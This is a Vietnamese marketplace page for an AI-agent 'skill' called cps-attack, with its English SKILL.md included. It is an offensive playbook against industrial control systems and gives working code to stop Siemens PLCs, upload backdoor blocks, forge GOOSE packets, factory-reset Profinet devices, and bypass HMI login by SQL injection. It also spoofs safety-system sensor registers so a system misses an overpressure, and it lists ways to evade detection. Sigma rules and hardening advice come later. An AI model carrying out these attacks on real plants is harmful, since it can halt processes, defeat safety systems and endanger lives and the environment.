Logo Cps Attack

Cps Attack

Cộng đồng
brucesongs
cps-attack

Cyber-Physical Systems (CPS) attacks — PLCs (Siemens S7, Rockwell ControlLogix, Schneider Modicon, Mitsubishi MELSEC), ICS protocols (Modbus, DNP3, Profinet, EtherNet/IP, IEC 61850, OPC UA), HMIs, SCADA historians, OT-to-IT pivot, SIS bypass. Distinct from scada-ics-security (broader ICS overview) — this skill goes deep on protocol-level PLC exploitation, packet replay/injection, and field-device firmware attacks. Covers 2024-2025 incidents (Unitronics PLC attack, Pipedream/Incontroller, multi-vendor PLC CVEs).

Tổng quan

Nhà phát hànhbrucesongs
Kho mãkali-claw
Tên kỹ năngcps-attack
Sao
70
Bản fork
18
Tệp đi kèm
9
Giấy phépMIT
Liên kết
  • Hướng dẫn bằng Markdown

    Tệp SKILL.md được mô hình tải khi cần, nên chỉ tốn token khi có yêu cầu thực sự phù hợp.

  • Dùng được với mọi LLM

    Kỹ năng AI dùng hướng dẫn viết bằng Markdown thay vì mã dành riêng cho một nhà cung cấp, nên dùng được với GPT, Claude, Gemini, Grok hoặc mô hình cục bộ.

  • 9 tệp đi kèm

    Các tập lệnh, mẫu và tài liệu tham khảo mà mô hình có thể đọc khi làm việc. Các tệp chỉ cho phép đọc và không bao giờ được thực thi.

  • Mã nguồn mở

    Được brucesongs công bố trên GitHub. Hãy đọc các tệp nguồn trước khi cài đặt.

Cài đặt

Cài đặt kỹ năng AI Cps Attack trong TypingMind để dùng với bất kỳ LLM nào, hoặc thêm vào một tác nhân AI khác có thể đọc SKILL.md.

1

Cài đặt trong TypingMind

TypingMind cài đặt kỹ năng trực tiếp từ thư mục GitHub — đọc SKILL.md, đóng gói các tệp tài nguyên và lưu kết quả trên máy.

  1. Mở ứng dụng và vào Plugin → Kỹ năng.
  2. Chọn "Cài đặt từ GitHub".
  3. Dán URL của thư mục kỹ năng được hiển thị bên dưới rồi xác nhận.
    https://github.com/brucesongs/kali-claw/tree/main/skills/cps-attack
  4. Bật kỹ năng trong từng cuộc trò chuyện mà bạn muốn sử dụng kỹ năng đó.
Plugin → Kỹ năng → Thêm kỹ năng → Từ URL GitHub, sau đó dán URL thư mục và nhấn Tiếp tục.
2

Cài đặt trong tác nhân AI khác

Bất kỳ tác nhân AI nào đọc được định dạng Agent Skills đều có thể dùng kỹ năng này — hãy sao chép thư mục vào thư mục kỹ năng của tác nhân AI đó.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/brucesongs/kali-claw.git /tmp/kali-claw
mkdir -p .claude/skills
cp -r /tmp/kali-claw/skills/cps-attack .claude/skills/cps-attack
Khởi động lại Claude Code sau khi sao chép để ứng dụng nhận kỹ năng mới.

Sử dụng trong TypingMind

Bật Cps Attack trong bất kỳ cuộc trò chuyện nào trên TypingMind, mô hình sẽ tự xử lý phần còn lại. Tên và mô tả của kỹ năng nằm trong prompt hệ thống. Ngay khi có yêu cầu phù hợp, mô hình tự tải toàn bộ hướng dẫn — bạn không cần gọi thủ công và kỹ năng không tốn token cho đến khi thực sự được dùng.

Mô hình tự nạp Cps Attack ngay khi có yêu cầu phù hợp.

Dùng được với mọi mô hình AI

Kỹ năng AI là các hướng dẫn Markdown thuần túy, không phải mã dành riêng cho một nhà cung cấp, nên bạn có thể dùng Cps Attack với cả những mô hình khác ngoài mô hình ban đầu. Chỉ cần cài đặt một lần trong TypingMind rồi dùng với GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama hoặc mô hình cục bộ do bạn tự chạy — tất cả đều dùng khóa API của riêng bạn.

  • Chỉ tải khi cần

    Prompt hệ thống chỉ chứa tên và mô tả. Hướng dẫn được tải khi có yêu cầu phù hợp đầu tiên, nên khi kỹ năng chưa được dùng, bạn không tốn token cho phần hướng dẫn.

  • Đổi mô hình ngay trong cuộc trò chuyện

    Vì kỹ năng là hướng dẫn chứ không phải mã, việc đổi mô hình không làm kỹ năng ngừng hoạt động — mô hình tiếp theo vẫn đọc cùng tệp SKILL.md.

Hướng dẫn của kỹ năng

Đây là nội dung SKILL.md mà mô hình tải. Hãy đọc trước khi cài đặt — kỹ năng là những hướng dẫn mà mô hình của bạn sẽ làm theo.

Cyber-Physical Systems (CPS) Attack Skill

Red-team operations against Industrial Control Systems at the protocol and field-device level. This skill goes deep on PLC firmware, ICS protocol abuse, packet replay, and OT-to-IT pivot — distinct from the broader scada-ics-security skill which covers general ICS methodology.

Summary

Cyber-Physical Systems (CPS) bridge the digital and physical worlds: PLCs (Programmable Logic Controllers), RTUs (Remote Terminal Units), IEDs (Intelligent Electronic Devices), HMIs (Human Machine Interfaces), and the industrial protocols they speak. These systems control power grids, water treatment, oil & gas pipelines, manufacturing lines, building automation (BACnet), and increasingly vehicle infrastructure (V2X, traffic control).

The 2024-2025 threat landscape for CPS attacks is dominated by:

  • Unitronics PLC attack (Nov 2023) — Iranian threat group attacked water utilities in US
  • Pipedream / Incontroller (2022-2024) — purpose-built ICS malware by Sandworm
  • Industroyer2 (2022-2024) — Russia's grid-attack malware, refined
  • FrostyGoop (2024) — Modbus-based attack on heating systems
  • HMI web server CVEs — Schneider, Rockwell, Siemens all disclosed critical RCE
  • OPC UA auth bypass (CVE-2024-5464) — affects every modern SCADA system

This skill covers:

  • Protocol-level PLC attacks — Modbus (no auth, no encryption), DNP3 (auth rarely enabled), Profinet, EtherNet/IP, IEC 61850 (GOOSE manipulation), OPC UA (auth bypass)
  • PLC firmware exploitation — Siemens S7-1500, Rockwell ControlLogix, Schneider Modicon, Mitsubishi MELSEC
  • HMI web server RCE — common pattern across all major vendors
  • Engineering workstation compromise — TIA Portal, Studio 5000, EcoStruxure, GX Works
  • SCADA historian abuse — bulk data exfil via ODBC
  • SIS (Safety Instrumented System) bypass — the most dangerous attack vector
  • OT-to-IT pivot — using OT network as bridge to corporate IT
  • Vehicle infrastructure attacks — V2X, traffic signal control, EV charging

Distinct from adjacent skills:

SkillScope
scada-ics-securityGeneral ICS methodology, recon, Nmap scripts, broad vendor coverage
automotive-vehicle-securityIn-vehicle CAN bus, OBD-II, ECUs
embedded-rtos-securityRTOS / firmware analysis on embedded devices
cps-attack (this)Field-device level: PLC programming, ICS protocol injection, SIS bypass, physical-process manipulation

Use Cases

Reconnaissance & Discovery

  1. Identify PLC vendor / model via passive sniffing (Profinet LLDP, CIP Identity)
  2. Enumerate Modbus registers via mbpoll / plcscan
  3. Discover DNP3 outstations via broadcast
  4. Find HMI web servers via Shodan / Censys
  5. Map OPC UA endpoints via GetEndpoints request
  6. Identify IEC 61850 IEDs via MMS enumeration
  7. Locate engineering workstation (TIA Portal, Studio 5000)

Initial Access

  1. Modbus TCP unauth — open TCP 502 with no auth (default)
  2. DNP3 unauth — open TCP 20000 with no auth
  3. HMI web RCE — CVE chain on Schneider, Rockwell, Siemens HMI
  4. Engineering workstation phishing — TIA Portal project file as payload
  5. OPC UA anon access — GetEndpoints → enumerate → connect as anon
  6. Profinet device impersonation — spoof LLDP to redirect traffic
  7. Vendor remote support — backdoor in vendor VPN / TeamViewer

Privilege Escalation

  1. PLC STOP/RUN mode change — halt physical process
  2. PLC program download — overwrite control logic
  3. Firmware replacement — flash malicious firmware to PLC
  4. SIS force — override safety logic (catastrophic)
  5. HMI-to-PLC escalation — HMI credentials reused on PLC
  6. Engineering workstation admin — local admin via TIA Portal cache

Persistence

  1. Hidden function block — add stealth block to PLC program
  2. Backdoor HMI account — admin user on HMI web
  3. Persistence via OPC UA rogue server — MITM all OPC UA traffic
  4. SCADA historian backdoor — SQL injection in vendor app

Defense Evasion

  1. Force read-only mode on HMI — operators can't see changes
  2. Spoof sensor values — Modbus write to input registers
  3. Disable alarm thresholds — modify alarm config in HMI
  4. Time-synchronized attack — revert PLC program at exact moment to evade comparison
  5. PLC program obfuscation — obscure ladder logic to slow IR

Collection & Exfiltration

  1. Modbus register bulk read — full process state
  2. SCADA historian ODBC dump — years of historical data
  3. OPC UA bulk browse — entire tag database
  4. HMI screen scrape — current operator view
  5. Engineering workstation project file theft — full PLC program source

Impact

  1. PLC STOP — halt physical process; operators lose control
  2. Sensor spoofing + actuator override — physical damage without alarm
  3. Safety logic bypass — defeat SIS protection
  4. Operator UI freeze — show "all OK" while process runs wild
  5. Physical equipment damage — pump cavitation, motor burnout, pipe rupture
  6. Environmental release — chemical spill, water contamination

Core Tools

Field Device Targets

VendorProductProtocolNotes
SiemensS7-1200, S7-1500, S7-300S7comm, S7comm-Plus, ProfinetDominant European
Rockwell AutomationControlLogix, CompactLogix, MicroLogixEtherNet/IP, CIPDominant US
Schneider ElectricModicon M340, M580, QuantumModbus, Modbus Plus, EtherNet/IPStrong in oil/gas
MitsubishiMELSEC iQ-R, iQ-F, Q-SeriesMELSEC, SLMPStrong in APAC
OmronCJ, CP, NX, NJ-seriesFINS, EtherCATMid-tier globally
ABBAC500, AC800M, AC500-eCoProfinet, DNP3, IEC 61850Power utilities
B&R AutomationX20, ACOPOSPOWERLINKManufacturing
BeckhoffCX, TwinCATEtherCAT, ADSDiscrete manufacturing
WagoPFC, 750-seriesModbus, EtherNet/IPBuilding automation
UnitronicsVision, Samba, UniStreamModbus, UniAPISMB / water
YokogawaCENTUM, STARDOMDNP3, Modbus, VnetProcess industries

ICS Protocols

ProtocolPortAuthEncryptionNotes
Modbus TCP502NoneNoneUniversal, but trivial to abuse
Modbus RTUserialNoneNoneRS-485 / RS-232
DNP320000Optional (v5+)OptionalPower utility
DNP3-secure20000Yes (Aggressive Mode)TLSRare in field
Profinet-NoneNoneLayer 2, real-time
Profinet DCP-ConfigurableNoneDevice config
EtherNet/IP44818, 2222NoneNoneCIP over TCP/UDP
CIP-None / Class-basedNoneCommon Industrial Protocol
OPC UA4840Optional (UserToken)Optional (TLS)Modern, secure-by-config
IEC 61850 MMS102OptionalNoneSubstation comms
IEC 61850 GOOSE-NoneNoneLayer 2 multicast
IEC 60870-5-1042404NoneNonePower utility (Europe)
BACnet47808NoneNoneBuilding automation
LonTalk-NoneNoneBuilding automation
HART-NoneNoneField instrument
FF H1 / HSE-NoneNoneFoundation Fieldbus
EtherCAT34980NoneNoneMotion control

Offensive Toolkit

bash
# Recon
nmap -sV --script=modbus-discover,modbus-brute,enip-info,bacnet-info -p 502,44818,47808,20000,4840 10.0.0.0/24
plcscan 10.0.0.0/24
claroty-edge-cli device-list

# Protocol tools
mbpoll -m tcp -a 1 -r 0 -c 10 10.0.0.5  # Modbus read
mbgetest -a 10.0.0.5 -r 1 -c 100        # Modbus get
plc4x snapshot                           # Multi-protocol PLC tool
opendnp3-demo                            # DNP3 client
opcua-cli browse opc.tcp://10.0.0.5:4840 # OPC UA browse

# Packet manipulation
scapy
mitmproxy --mode transparent
wireshark

# Vendor-specific
# Siemens
snap7-server  # S7 protocol test
s7-client  # S7 client library
# Rockwell
rslinx  # Rockwell network scan (Windows)
ethip-client
# Schneider
modicon-scan
# OPC UA
opcua-cli
node-opcua

# Metasploit modules
msfconsole
> use auxiliary/scanner/scada/modbusclient
> use auxiliary/scanner/scada/modbus_findunitid
> use auxiliary/admin/scada/modicon_stuxft

# ICS-specific frameworks
redpoint  # Digital Bond's ICS tools
mehari    # Open ICS framework
cyphon    # Open-source IDS
conpot    # ICS honeypot
mih          # ICS protocol fuzzer

Methodology

Phase 1 — Recon (OT Network Discovery)

OT networks are often air-gapped (or "air-gapped") — but rarely. Identify:

  • PLC vendor + model + firmware
  • HMI vendor + software version
  • Engineering workstation + vendor software (TIA Portal, Studio 5000)
  • SCADA historian + DB backend
  • Network topology (often flat L2)
bash
# Passive recon (preferred — OT teams hate active scanning)
tcpdump -i eth0 -w ot.pcap

# Active recon (low-rate; coordinated)
nmap -sn 10.0.0.0/24 -T1  # ping sweep, polite timing
nmap -sV --script=bacnet-info,enip-info,modbus-discover -p 502,44818,47808,20000,4840,102 10.0.0.0/24

# CIP Identity (EtherNet/IP)
python3 kali_cip_identity.py --target 10.0.0.5

Phase 2 — Protocol Probe

bash
# Modbus
mbpoll -m tcp -a 1 -r 0 -c 100 10.0.0.5
# Reads holding registers 0-99 from slave 1

# Find Modbus unit IDs
for uid in $(seq 1 250); do
  mbpoll -m tcp -a $uid -r 0 -c 1 -t 3 10.0.0.5 2>/dev/null | grep -q '\[' && echo "Unit ID $uid active"
done

# EtherNet/IP CIP Identity
nmap --script enip-info -p 44818 10.0.0.5

# OPC UA endpoints
opcua-cli endpoints opc.tcp://10.0.0.5:4840
opcua-cli browse opc.tcp://10.0.0.5:4840 --user anon --pass ''

# DNP3
opendnp3-demo master --remote 10.0.0.5:20000

Phase 3 — Initial Access

Common OT initial-access vectors:

  1. HMI web RCE — vendor HMI ships with web admin; common RCE CVEs
  2. Engineering workstation phishing — TIA Portal / Studio 5000 project as lure
  3. Remote vendor support — TeamViewer / vendor VPN
  4. Modbus unauth — direct TCP 502 access
  5. OT-to-IT bridge — DMZ host with both network interfaces

Phase 4 — PLC Exploitation

Once inside OT network:

  1. PLC STOP — halt controller
  2. Read PLC program — ladder logic / function block
  3. Modify program — insert backdoor block
  4. Download new program — overwrite
  5. Force sensor values — Modbus write to inputs

Phase 5 — HMI / SCADA Compromise

  1. HMI web RCE → server shell
  2. HMI DB → SCADA historian
  3. HMI config → operator passwords (often cleartext)

Phase 6 — Engineering Workstation

The engineering workstation holds:

  • PLC program source (full ladder logic)
  • Vendor credentials for all PLCs
  • HMI configuration
  • Historian DB credentials

Phase 7 — SIS Bypass

Safety Instrumented Systems (SIS) protect against catastrophic failure. Attackers bypass SIS to enable physical damage.

  1. Force SIS logic — modify SIS PLC program
  2. Bypass SIS via HMI — operator override
  3. Spoof SIS inputs — Modbus write to SIS input registers
  4. SIS firmware rootkit — flash malicious SIS firmware

Phase 8 — OT-to-IT Pivot

  1. Engineering workstation dual-homed — both OT and IT NICs
  2. Historian DB link — ODBC to IT data warehouse
  3. Vendor remote support — pivot through vendor VPN
  4. DMZ jump host — often has reach into both

Practical Steps

Step A — Identify PLC via CIP Identity (EtherNet/IP)

python
import socket, struct

# EtherNet/IP CIP Identity request
def cip_identity(ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, 44818))
    
    # Encapsulation header: register session
    cmd = 0x0065  # RegisterSession
    length = 0
    session = 0
    header = struct.pack('<HHII', cmd, length, session, 0)
    # Protocol version 1, option flags 0
    body = struct.pack('<II', 1, 0)
    msg = header + body
    s.send(msg)
    r = s.recv(1024)
    session = struct.unpack('<I', r[4:8])[0]
    
    # CIP Identity (ListIdentity)
    cmd = 0x0063
    msg = struct.pack('<HHII', cmd, 0, session, 0)
    s.send(msg)
    r = s.recv(2048)
    
    # Parse response for vendor, product, serial, version
    print(f'{ip}: {r!r}')

for ip in ['10.0.0.1', '10.0.0.2', '10.0.0.3']:
    cip_identity(ip)

Step B — Modbus register enumeration

python
# kali_modbus_scan.py
from pyModbusTCP.client import ModbusClient

c = ModbusClient(host='10.0.0.5', port=502)
c.open()

# Find unit ID
for uid in range(1, 248):
    c.unit_id = uid
    regs = c.read_holding_registers(0, 10)
    if regs is not None:
        print(f'Unit {uid} active: {regs}')

# Read all holding registers on unit 1
c.unit_id = 1
for block_start in range(0, 65536, 100):
    regs = c.read_holding_registers(block_start, 100)
    if regs:
        non_zero = [(block_start + i, v) for i, v in enumerate(regs) if v != 0]
        if non_zero:
            print(f'Block {block_start}: {non_zero[:5]}')

# Write to holding register (force value)
c.write_single_register(40001, 1337)  # change setpoint

Step C — HMI web RCE (Schneider example)

bash
# CVE-2024-XXXXX (illustrative) — Schneider EcoStruxure HMI web auth bypass
curl -sk -X POST https://hmi.example.com/api/login \
  -d '{"username":"admin","password":"' OR 1=1 --"}' \
  -H "Content-Type: application/json"

# Once logged in as admin:
# Upload malicious firmware via /api/firmware/upload
curl -sk -X POST https://hmi.example.com/api/firmware/upload \
  -H "Authorization: Bearer $TOKEN" \
  -F "file=@backdoor.bin"

Step D — PLC STOP via S7comm

python
from snap7.client import Client

c = Client()
c.connect('10.0.0.5', 0, 1)  # rack 0, slot 1 (typical S7-1500)

# Read PLC state
state = c.get_cpu_state()
print(f'CPU state: {state}')  # Running, Stop, etc.

# Stop the PLC (halt physical process)
c.plc_stop()
print(f'After stop: {c.get_cpu_state()}')

# Read PLC time
print(c.get_plc_time())

# Read block list
print(c.list_blocks())

# Download new code block
with open('backdoor_block.bin', 'rb') as f:
    block_data = f.read()
c.upload(db_number=99, data=block_data)

Step E — OPC UA anon browse

bash
# OPC UA anon access
opcua-cli browse opc.tcp://10.0.0.5:4840

# Find security policy
opcua-cli endpoints opc.tcp://10.0.0.5:4840 | jq '.[] | {securityPolicyUri, securityMode}'

# If None / None — anon access OK
# Try sensitive operations:
opcua-cli read opc.tcp://10.0.0.5:4840 --user anon \
  --node "ns=2;s=ProductionData.Password"

Step F — IEC 61850 GOOSE manipulation

python
# GOOSE is Layer 2 multicast — no encryption, no auth
# Capture GOOSE on Wireshark (filter: goose)
# Identify IED source, dataset, gooseRef

# Replay/forge GOOSE packet via Scapy
from scapy.all import *
# (requires libscapy IEC 61850 layer — community implementations exist)

load_layer('goose')
packet = (
    Ether(dst='01:0c:cd:01:00:01') /
    GOOSE(appID=0x0001, gooseDatSet='LD0/LLN0$dsGeneric',
          gooseRef='LD0/LLN0$generic',
          stNum=2, sqNum=1,
          gooseData=[1])  # attacker-controlled value
)
sendp(packet, iface='eth0', loop=1, inter=0.001)

Step G — Profinet DCP device reset

python
# Profinet DCP allows factory reset of Profinet device
# Use Scapy with Profinet layer

from scapy.all import Ether, sendp

# DCP Identify All (broadcast)
ether = Ether(dst='01:0e:cf:00:00:00') / ProfinetDCPIdentifyAll()
sendp(ether)

# DCP Factory Reset
ether = Ether(dst='01:0e:cf:00:00:00') / ProfinetDCPReset(name='name-not-set')
sendp(ether)

Step H — Engineering workstation compromise

bash
# Find TIA Portal project files
find / -name '*.ap14' -o -name '*.ap15' -o -name '*.ap16' -o -name '*.ap17' 2>/dev/null
find / -name '*.ac14' -o -name '*.ac15' 2>/dev/null
# Studio 5000
find / -name '*.ACD' -o -name '*.MER' 2>/dev/null

# TIA Portal project may contain cleartext PLC passwords
# Parse project file with libtiepie or python parser
python3 kali_tia_project_parser.py --project /path/to/proj.ap17

# Pull cached PLC password
grep -aE '(Password|PASS)' /path/to/proj.ap17 | strings | head

Step I — SCADA historian ODBC dump

bash
# Identify historian DB (often MS SQL Server or PI Archive)
nmap -p 1433,5450 scada-db.example.com

# Connect via ODBC
sqsh -S scada-db.example.com -U historian_user -P REPLACE_WITH_YOUR_PW

# Dump recent data
1> SELECT TOP 100 * FROM History WHERE TagName LIKE 'Temp%' ORDER BY Timestamp DESC
2> go

Step J — SIS bypass via Modbus

python
# SIS PLC typically has Modbus interface for monitoring
# Attacker can write to SIS input registers to spoof sensor values
# This causes SIS to "see" safe conditions when reality is unsafe

c = ModbusClient(host='10.0.0.50', port=502)  # SIS PLC
c.open()
c.unit_id = 1

# Force pressure sensor reading to safe value
c.write_single_register(30001, 5000)  # 5000 = 50 bar (safe)
# Reality: 100 bar (explosion risk)
# SIS sees 50 bar → does not trip → catastrophic failure

Defense Perspective

Detection

Passive OT monitoring (preferred)

  • Claroty, Dragos, Nozomi passive traffic analysis
  • Zeek with industrial protocol analyzers
  • Suricata with ICS ruleset

Active detection

  • Nmap NSE for OT (rate-limited)
  • Vendor-specific CLI (Profinet DCP scan)

Sigma rules for OT events

yaml
title: Modbus write to input register (sensor spoofing)
logsource:
  product: ot
  service: zeek-modbus
detection:
  selection:
    func: write_single_register
    address|re: ^3[0-9]{4}$  # input registers
  condition: selection
level: critical
yaml
title: OPC UA anonymous access
logsource:
  product: opcua
  service: server
detection:
  selection:
    user: anonymous
    operation|re: read|write|browse
  condition: selection
level: high
yaml
title: PLC STOP from non-Engineering-Workstation
logsource:
  product: ot
  service: s7
detection:
  selection:
    pdu: plcstop
  notEWS:
    src|re: !^10\.0\.0\.10$
  condition: selection and notEWS
level: critical

Hardening

  1. Purdue Model — clear separation of L0-L3 (Devices → Process Control → Supervisory → Site Ops) from L4 (Enterprise)
  2. DMZ jump host — single, monitored entry point
  3. Network segmentation — per-process VLANs; deny east-west by default
  4. Protocol security — DNP3-secure, OPC UA with security policy, Modbus Gateway with auth
  5. Engineering workstation hardening — no email, no internet, no removable media (often violated)
  6. PLC firmware patching — within 90 days (OT slower than IT but CVEs are critical)
  7. Vendor remote access —bastion host, session recording, MFA
  8. HMI web — disabled by default; if enabled, behind VPN
  9. SIS isolation — completely separate network from BPCS (Basic Process Control System)
  10. Continuous monitoring — passive traffic analysis for baseline deviation

Incident Response

When OT compromise suspected:

  1. DO NOT scan — active scanning can crash fragile PLCs
  2. Capture traffic — passive capture to retain evidence
  3. Isolate — switch port disable on suspect device; do not power off PLC
  4. Stop engineering workstation — unplug from network
  5. Switch to manual — if available, operators run process manually
  6. Invoke vendor — Siemens CERT, Rockwell PSIRT, Schneider CERT
  7. Forensics — pull HMI logs, engineering workstation image, traffic capture
  8. Restore — last-known-good PLC program; verify before download
  9. Post-mortem — Purdue Model adherence review, network architecture audit

Detection Methods

ICS/SCADA Protocol Anomalies

  • Modbus abuse: Unsolicited Modbus write commands (function code 0x05, 0x06, 0x10); non-PLC source.
  • DNP3 anomalies: Unsolicited DNP3 responses; out-of-sequence application layer fragments.
  • EtherNet/IP (CIP): CIP messages to non-CPU modules; unusual path segments.
  • PROFINET DCP abuse: DCP write requests to device name; identify spoofing.
  • BACnet anomalies: Who-Is/I-Am floods; COV subscription abuse.

Physical Process Anomalies

  • Setpoint manipulation: Process variable diverging from setpoint; actuator commands exceeding safety range.
  • Safety system trip: SIS (Safety Instrumented System) activation; indicates process upset.
  • Historian data gaps: Missing historian data during specific time window; potential attack window.
  • Process upset cascade: Multiple alarms in short window; signature of cyber-induced incident.

SIEM Detection Rules

  • Splunk SPL (ICS): index=modbus function_code IN (5,6,15,16) | stats count by src_ip, unit_id
  • Dragos / Nozomi Guardian: Native OT security platform detections.
  • Claroty CTD: Cyber threat detection for OT environments.

Defense Evasion Techniques

Protocol-Level Stealth

  • Mimic legitimate master: Use PLC's legitimate master IP; match timing/sequence of normal commands.
  • Passive reconnaissance: Sniff Modbus/DNP3 to learn protocol patterns before injecting.
  • Single-shot attack: Send one malicious command (e.g., open breaker) rather than sustained abuse.
  • Off-hours operation: Execute during maintenance windows; blends with legitimate activity.

Physical Effect Stealth

  • Gradual setpoint change: Change setpoint slowly (1-2% per minute); avoids trip alarms.
  • Sensor spoofing: Send false sensor values to historian; mask physical effect.
  • Safety bypass: Disable safety system before main attack; avoids SIS trip.

Air-Gap Crossing

  • Removable media: Stuxnet-style USB propagation across air gap.
  • Insider threat: Use compromised engineer laptop that crosses air gap.
  • Vendor remote access: Use legitimate vendor VPN credentials; bypass air gap.
  • Optical/acoustic covert channels: Speaker/microphone for low-bandwidth air-gap crossing.

References

Tệp đi kèm

Khi kỹ năng đã được tải, mô hình có thể đọc các tệp này nếu cần. Các tệp này chỉ dùng để đọc và không bao giờ được thực thi.

Câu hỏi thường gặp

Kỹ năng AI Cps Attack làm được gì?

Cyber-Physical Systems (CPS) attacks — PLCs (Siemens S7, Rockwell ControlLogix, Schneider Modicon, Mitsubishi MELSEC), ICS protocols (Modbus, DNP3, Profinet, EtherNet/IP, IEC 61850, OPC UA), HMIs, SCADA historians, OT-to-IT pivot, SIS bypass. Distinct from scada-ics-security (broader ICS overview) — this skill goes deep on protocol-level PLC exploitation, packet replay/injection, and field-device firmware attacks. Covers 2024-2025 incidents (Unitronics PLC attack, Pipedream/Incontroller, multi-vendor PLC CVEs).

Vì sao nên dùng Cps Attack trên TypingMind?

Vì bạn chỉ cần cài một lần rồi dùng với bất kỳ mô hình nào. Cps Attack là nội dung Markdown chứ không phải mã dành riêng cho từng nhà cung cấp, nên cùng một kỹ năng có thể chạy trên GPT-5, Claude, Gemini, Grok hoặc mô hình trên thiết bị — và bạn có thể đổi mô hình ngay trong cuộc trò chuyện mà kỹ năng vẫn hoạt động. TypingMind dùng khóa API riêng của bạn, nên bạn thanh toán trực tiếp cho nhà cung cấp thay vì trả phí thuê bao theo suất người dùng, đồng thời kỹ năng và các cuộc trò chuyện vẫn nằm trong bộ lưu trữ của bạn.

Làm thế nào để cài Cps Attack trong TypingMind?

Mở Plugin → Kỹ năng → Cài đặt từ GitHub trong TypingMind rồi dán https://github.com/brucesongs/kali-claw/tree/main/skills/cps-attack. TypingMind đọc tệp SKILL.md, đóng gói các tệp đi kèm rồi cài đặt cả gói dưới dạng một kỹ năng mà bạn có thể bật cho từng cuộc trò chuyện.

Những mô hình AI nào có thể dùng Cps Attack?

Bất kỳ mô hình nào bạn kết nối trong TypingMind. Kỹ năng AI là các hướng dẫn bằng Markdown chứ không phải mã dành riêng cho từng nhà cung cấp, nên GPT, Claude, Gemini, Grok và các mô hình chạy trên thiết bị đều có thể tải kỹ năng này khi có yêu cầu phù hợp.

Có thể dùng Cps Attack với bao nhiêu mô hình AI?

Bao nhiêu cũng được. Miễn là mô hình hỗ trợ kỹ năng, bạn có thể dùng Cps Attack với mô hình đó — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama và nhiều mô hình khác — tất cả đều trên TypingMind với khóa API riêng của bạn.

Kỹ năng AI Cps Attack có miễn phí không?

Có. Kỹ năng này được brucesongs phát hành trên GitHub theo giấy phép MIT. Bạn chỉ trả tiền cho nhà cung cấp AI của mình theo số token đã dùng.

Kỹ năng AI là gì?

Kỹ năng AI là một gói hướng dẫn có thể tái sử dụng, chỉ cho mô hình AI cách thực hiện một tác vụ cụ thể. Kỹ năng tuân theo định dạng mở Agent Skills: một tệp SKILL.md chứa tên và mô tả, cùng các tập lệnh, mẫu hoặc tệp tham khảo mà mô hình có thể cần. Mô hình chỉ đọc hướng dẫn khi yêu cầu của bạn phù hợp với kỹ năng, nên kỹ năng đã cài đặt không phát sinh chi phí cho đến khi được sử dụng.

Kỹ năng AI khác gì với plugin hoặc máy chủ MCP?

Plugin hoặc máy chủ MCP cung cấp các công cụ mới mà mô hình có thể gọi. Khi mô hình gọi một công cụ, mã của công cụ đó chạy ở đâu đó và trả về kết quả. Còn kỹ năng AI cung cấp kiến thức và quy trình: cách tiếp cận tác vụ, các bước cần thực hiện và những tiêu chí mà kết quả cần đáp ứng. Kỹ năng chỉ là nội dung Markdown, nên không cần máy chủ, khóa API hay môi trường thực thi và hoạt động với mọi mô hình.

Xem tất cả

Tạo ngay không gian làm việc AI riêng

Đăng ký bản tin của chúng tôi để nhận thông báo về tính năng mới và các đợt tặng quà sắp tới 👇